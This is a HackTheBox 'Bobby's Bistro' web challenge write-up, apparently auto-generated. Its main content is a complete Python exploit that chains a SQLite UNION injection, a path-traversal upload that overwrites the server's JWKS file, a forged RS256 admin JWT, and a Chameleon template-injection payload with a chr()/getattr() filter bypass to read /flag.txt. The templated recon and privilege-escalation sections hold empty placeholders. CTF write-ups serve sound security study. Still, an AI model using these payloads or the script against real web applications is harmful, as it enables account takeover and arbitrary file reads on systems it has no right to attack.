Bobby's Bistro
Bobby's Bistro
Platform: HackTheBox | Category: Web | Type: Challenge | Difficulty: Hard | OS: NA | Author: D3v0o0Nu11 | Date: 2026-06-15 | Status: Solved Techniques: chameleon_ssti, jwt_forgery_via_jwks_file_overwrite, path_traversal_arbitrary_file_write, sqli_union_sqlite, ssti_char_filter_bypass_chr_getattr, tal_single_quote_attribute_bypass
Summary
Task: Flask app with SQLite SQLAlchemy, RS256 JWT via PyJWKClient, Chameleon page templates, and an admin bot. Solution: chain SQLi (UNION dump of admin row) + path-traversal arbitrary file write to overwrite the server JWKS, forge an admin JWT, then Chameleon SSTI with a chr()/getattr() char-filter bypass to read /flag.txt.
Recon
Port scan
nmap -p- -sV -sC <TARGET> --min-rate 1000 -Pn
| Port | Service | Version | Notes |
|---|---|---|---|
| <PORT> | <SVC> | <VER> | <notes> |
Enumeration highlights
- Event:
hackthebox| ID:20260615_hackthebox_bobbys_bistro - Tags: sqlite, multi_stage, SQLi, flask, path_traversal, ssti, jwt, rs256, sqlalchemy, chameleon, zope_page_templates, pyjwkclient
- Indicators: Chameleon/Zope .pt PageTemplate render of user content, PyJWKClient reading file:///.../jwks.json by kid, file.save(UPLOADS_DIR + '/' + file.filename) without secure_filename, db.session.query(...).filter(text("token='{}'".format(token))), char filter stripping $ # { } " _ . before template render
- Source:
20260615_hackthebox_bobbys_bistro.md
Foothold
Vulnerability / Misconfiguration
- Chameleon_ssti
- Jwt_forgery_via_jwks_file_overwrite
- Path_traversal_arbitrary_file_write
- Sqli_union_sqlite
- Ssti_char_filter_bypass_chr_getattr
<command>
Exploitation
- See original writeup content for detailed exploitation.
Privilege Escalation
Enumeration
sudo -l find / -perm -4000 2>/dev/null getcap -r / 2>/dev/null cat /etc/crontab ps aux
Exploitation
- N/A for challenge-type writeup; see exploitation above.
- Flag obtained via challenge solve.
<command>
Flags
| Flag | Location | Value |
|---|---|---|
| flag | REDACTED |
Key Takeaways / Lessons
- chameleon_ssti
- jwt_forgery_via_jwks_file_overwrite
- path_traversal_arbitrary_file_write
- sqli_union_sqlite
- ssti_char_filter_bypass_chr_getattr
- tal_single_quote_attribute_bypass
- Tags: sqlite, multi_stage, SQLi, flask, path_traversal, ssti, jwt, rs256, sqlalchemy, chameleon, zope_page_templates, pyjwkclient
Original Writeup
<details><summary>Click to expand original content</summary>Description
Welcome to Bobby's Bistro. A cozy little Flask restaurant app with user profiles, a chat, and admin announcements. Become the admin and read the secret recipe (
/flag.txt).
English summary: A Flask web app (SQLAlchemy + SQLite, RS256 JWT auth via
PyJWKClient, Chameleon/Zope Page Templates .pt) with an admin bot named
"q-bit". The flag lives at /flag.txt inside the container. Source provided.
The intended solution is a 4-vulnerability chain that ends in server-side
template injection RCE/file-read as the admin.
Analysis
Four distinct vulnerabilities exist in the source:
- SQL injection in
POST /profile— thetokenfield is interpolated raw into a SQLAlchemytext()clause:
user_data = db.session.query(User).filter(
text("token='{}'".format(token))).all()
The backend is SQLite, so this is trivially UNION-injectable.
profile.pt renders i.id, i.username, i.role for every returned row.
The users table columns are id, username, password, token, role.
- Arbitrary file write (path traversal) in
POST /api/chat-messages— the uploaded attachment filename is used raw, with nosecure_filename:
file.save(UPLOADS_DIR + "/" + file.filename) # UPLOADS_DIR = /app/uploads
A filename ../static/.well-known/jwks.json escapes the uploads directory
and overwrites any file under /app/static/.... This endpoint requires a
valid auth_token cookie, so we must register/login a normal user first.
-
JWT verification trusts a file-based JWKS, keyed by
kid—verify_token()builds aPyJWKClientpointing atfile:///app/static/.well-known/jwks.jsonand selects the signing key by the token'skidheader. Critically,PyJWKClientignores any embeddedjwkheader — it only reads keys from the configured file URL. So a classic embedded-JWK-header injection does not work; we must instead overwrite the JWKS file on disk (vuln 2) with our own public key. -
Chameleon SSTI in
POST /api/announcements(admin only) — the announcement body is rendered as a Zope Page Template after a markdown pass and a character blacklist:
content = markdown.markdown(request.form.get("announcement"))
for i in '$#{}"_.':
content = content.replace(i, "") # strips $ # { } " _ .
tpl = PageTemplate(content)
res = tpl.render()
The stripped set kills classic ${...} interpolation, __import__,
attribute access via ., and double-quoted string literals. Admin access is
gated by user.username == admin_username, where the user is resolved from
the JWT user_id — hence we need both the admin user_id (vuln 1) and a
forged admin JWT (vulns 2+3).
Phase checkpoint
After SQLi we know the admin user_id (a UUID) and the random admin username.
After overwriting the JWKS we control the signing key, so the remaining problem
reduces to a pure SSTI-under-a-char-filter task as the admin.
Solution
Step 1 — get a valid user JWT
Register and log in a normal user to obtain a legitimate auth_token cookie.
The chat upload endpoint (the file-write primitive) requires authentication.
Step 2 — SQLi: dump the admin row
token = ' UNION SELECT id,username,password,token,role FROM users WHERE role='admin'-- -
profile.pt then renders the admin's id, username, and role, leaking the
admin UUID and the randomized admin username.
Step 3 — overwrite the JWKS via path traversal
Generate a fresh RSA keypair, build a JWKS containing our public key with a
chosen kid="pwnkey", and upload it as a chat attachment with filename
../static/.well-known/jwks.json. This replaces the server's trusted key set.
Step 4 — forge an admin JWT
Sign {"user_id": <admin uuid>} with our private key, RS256, kid="pwnkey".
verify_token() fetches our public key from the overwritten JWKS file (matched
by kid), validates the signature, and treats us as the admin.
Step 5 — Chameleon SSTI with a char-filter bypass
The filter strips $ # { } " _ ., so we cannot use ${...}, __import__,
dotted attribute access, or double-quoted strings. Bypass:
- Use a single-quoted
tal:contentattribute — the single quote'is not stripped, and TAL attributes don't need${}. - Avoid
.by usinggetattr(obj, name)instead ofobj.attr. - Avoid
_and"by building every string literal fromchr(n)+chr(n)+....
Final payload (logically getattr(open('/flag.txt'),'read')()):
<div tal:content='python: getattr(open(chr(47)+chr(102)+...),chr(114)+chr(101)+chr(97)+chr(100))()'>x</div>
The announcement is rendered server-side at POST time and the rendered output
is stored. GET /announcements emits the stored content into a
data-announcement="..." attribute — HTML-unescape it to recover the flag.
Full exploit
#!/usr/bin/env python3
"""
Bobby's Bistro (HTB web) exploit.
Chain:
1. Register + login a normal user -> valid RS256 JWT cookie (needed for chat upload).
2. SQLi in /profile POST (token field) to dump admin user_id + username.
3. Arbitrary file write via /api/chat-messages attachment path traversal:
overwrite static/.well-known/jwks.json with OUR RSA public key (chosen kid).
4. Forge JWT {"user_id": <admin id>} signed with OUR private key, matching kid.
5. As admin: POST announcement with Chameleon SSTI (dotless/quoteless) -> reads /flag.txt
into stored content. GET /announcements -> flag in data-announcement attribute.
"""
import sys, re, html, time, base64, json
import requests
import jwt
from cryptography.hazmat.primitives.asymmetric import rsa
from cryptography.hazmat.primitives import serialization
BASE = sys.argv[1].rstrip("/") if len(sys.argv) > 1 else "http://127.0.0.1:3000"
USER = "pwn_" + base64.b16encode(__import__("os").urandom(4)).decode().lower()
PASS = "pwnpass123"
KID = "pwnkey"
s_user = requests.Session()
s_user.headers["User-Agent"] = "x"
def log(*a): print("[*]", *a, flush=True)
# ---------------------------------------------------------------- step 1
log("register", USER)
s_user.post(f"{BASE}/register", data={"username": USER, "password": PASS}, allow_redirects=True)
r = s_user.post(f"{BASE}/login", data={"username": USER, "password": PASS}, allow_redirects=False)
auth = s_user.cookies.get("auth_token")
if not auth:
# follow redirect set-cookie
auth = r.cookies.get("auth_token")
log("auth_token:", (auth or "")[:40], "...")
assert auth, "login failed"
# ---------------------------------------------------------------- step 2: SQLi dump admin id+username
# profile renders i.id / i.username / i.role for rows from:
# SELECT * FROM users WHERE token='{token}'
# UNION inject. Columns of users: id, username, password, token, role
# Easiest: ' UNION SELECT id,username,role,token,password FROM users WHERE role='admin'--
# but template reads .id .username .role -> map admin's id->id, username->username, role->role.
inj = "' UNION SELECT id,username,password,token,role FROM users WHERE role='admin'-- -"
r = s_user.post(f"{BASE}/profile", data={"token": inj}, cookies={"auth_token": auth})
ids = re.findall(r"User ID:</strong>\s*([^<]+)", r.text)
unames = re.findall(r"Username:</strong>\s*([^<]+)", r.text)
roles = re.findall(r"Role:</strong>\s*([^<]+)", r.text)
log("rows:", list(zip(ids, unames, roles)))
admin_id = admin_user = None
for i, u, ro in zip(ids, unames, roles):
if ro.strip() == "admin":
admin_id, admin_user = i.strip(), u.strip()
assert admin_id, "admin id not found via SQLi: " + r.text[:500]
log("ADMIN id =", admin_id, " username =", admin_user)
# ---------------------------------------------------------------- step 3: forge our key + overwrite jwks
priv = rsa.generate_private_key(public_exponent=65537, key_size=2048)
pub = priv.public_key().public_numbers()
def b64u(n):
b = n.to_bytes((n.bit_length()+7)//8, "big")
return base64.urlsafe_b64encode(b).rstrip(b"=").decode()
jwk = {"kty": "RSA", "kid": KID, "alg": "RS256", "use": "sig",
"n": b64u(pub.n), "e": b64u(pub.e)}
jwks = {"keys": [jwk]}
jwks_bytes = json.dumps(jwks).encode()
# write via attachment path traversal. filename used raw in file.save(UPLOADS_DIR + "/" + name)
# UPLOADS_DIR = /app/uploads -> ../static/.well-known/jwks.json
fname = "../static/.well-known/jwks.json"
files = {"attachment": (fname, jwks_bytes, "application/json")}
r = s_user.post(f"{BASE}/api/chat-messages", data={"message": "x"},
files=files, cookies={"auth_token": auth}, allow_redirects=False)
log("upload jwks status:", r.status_code)
# ---------------------------------------------------------------- step 4: forge admin JWT
priv_pem = priv.private_bytes(
serialization.Encoding.PEM,
serialization.PrivateFormat.PKCS8,
serialization.NoEncryption())
admin_jwt = jwt.encode({"user_id": admin_id}, priv_pem, algorithm="RS256",
headers={"kid": KID, "alg": "RS256", "typ": "JWT"})
log("forged admin jwt:", admin_jwt[:50], "...")
# sanity: hit admin page
r = requests.get(f"{BASE}/admin/announcements", cookies={"auth_token": admin_jwt}, allow_redirects=False)
log("admin page status:", r.status_code, "(200 = admin OK)")
# ---------------------------------------------------------------- step 5: SSTI announcement reading /flag.txt
def chrify(x): return "+".join("chr(%d)" % ord(c) for c in x)
path = "/flag.txt"
expr = "python: getattr(open(%s),%s)()" % (chrify(path), chrify("read"))
payload = "<div tal:content='%s'>x</div>" % expr
r = requests.post(f"{BASE}/api/announcements",
data={"title": "z", "announcement": payload},
cookies={"auth_token": admin_jwt})
log("post announcement status:", r.status_code, r.text[:120])
# ---------------------------------------------------------------- read flag back
r = requests.get(f"{BASE}/announcements", cookies={"auth_token": admin_jwt})
m = re.findall(r"data-announcement=\"([^\"]*)\"", r.text)
for c in m:
dec = html.unescape(c)
if "HTB{" in dec or "flag" in dec.lower():
print("\n[+] FLAG:", dec)
# also try as the normal user (announcement broadcast to all users)
r2 = requests.get(f"{BASE}/announcements", cookies={"auth_token": auth})
for c in re.findall(r"data-announcement=\"([^\"]*)\"", r2.text):
dec = html.unescape(c)
if "HTB{" in dec:
print("[+] FLAG (user view):", dec)
found = [html.unescape(c) for c in (m or []) if "HTB{" in html.unescape(c)]
if not found:
log("no HTB{ found; dumping all announcement contents:")
for c in m: print(" ", html.unescape(c))
</details>Auto-tracked: saved to WriteUps; run
/xesor-reviseto fold lessons into XESXor_Methodology.md.
signed by XESXOR